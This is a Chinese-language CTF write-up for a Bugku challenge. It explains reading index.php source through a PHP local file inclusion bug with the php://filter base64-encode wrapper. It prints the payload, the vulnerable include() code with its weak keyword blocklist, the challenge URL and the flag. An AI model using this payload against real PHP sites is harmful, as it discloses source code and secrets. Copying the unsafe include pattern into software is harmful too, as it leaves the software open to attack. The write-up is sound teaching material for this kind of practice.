編碼的世界 / 優質文選 / 文明

CTF/CTF練習平台-flag在index裏【php://filter的利用】


2022年7月30日
-   

原題內容:
http://120.24.86.145:8005/post/
 
Mark一下這道題,前前後後弄了兩個多小時,翻了一下別的博主的wp感覺還是講的太粗了,這裏總結下自己的理解:
 
首先打開這道題,頁面只給你click me? no
點擊進去顯示test5
 
第一步,查看源代碼,無果
第二步bp,無果
結合到題目,flag在index裏,大膽嘗試http://120.24.86.145:8005/post/index.php,可惜和之前一樣
注意到了傳值為http://120.24.86.145:8005/post/index.php?file=show.php
file這個變量應該是關鍵,可惜無果
 
參考到別的博主的wp:
file傳值為
 
php://filter/read=convert.base64-encode/resource=index.php

 
 
結果如下:
base64解密下就得到flag了
 
可能很多人到這裏並不太理解,這裏我做具體解釋: 首先來解釋下這段代碼的意思:
即以base64加密的方式讀取resource的內容
 
然後我們來看一下php://filter的限制
要求將傳進來的參數進入include();在這題即是$file //這裏就打亂了我的胡思亂想,哈哈哈,還以為所有題目都可以呢
這點要求在後來拿到的題目源碼中也可確認:
 
<html>
<title>Bugku-ctf</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>

 
 
下面演示通過php://filter讀取本包含漏洞腳本的源碼

接下來只要將base64編碼後的字符串通過base64解碼就可得到PHP文件的源碼了
看到一個大佬的博客講的特別棒,我已轉載至我的博客,大家可以前去一看
談一談php://filter的妙用
 
 
參考原文
http://blog.csdn.net/qq_35078631/article/details/69488266
http://www.freebuf.com/articles/web/14097.html
 
 
 
 
 
 
 
 
 
 
 

熱門文章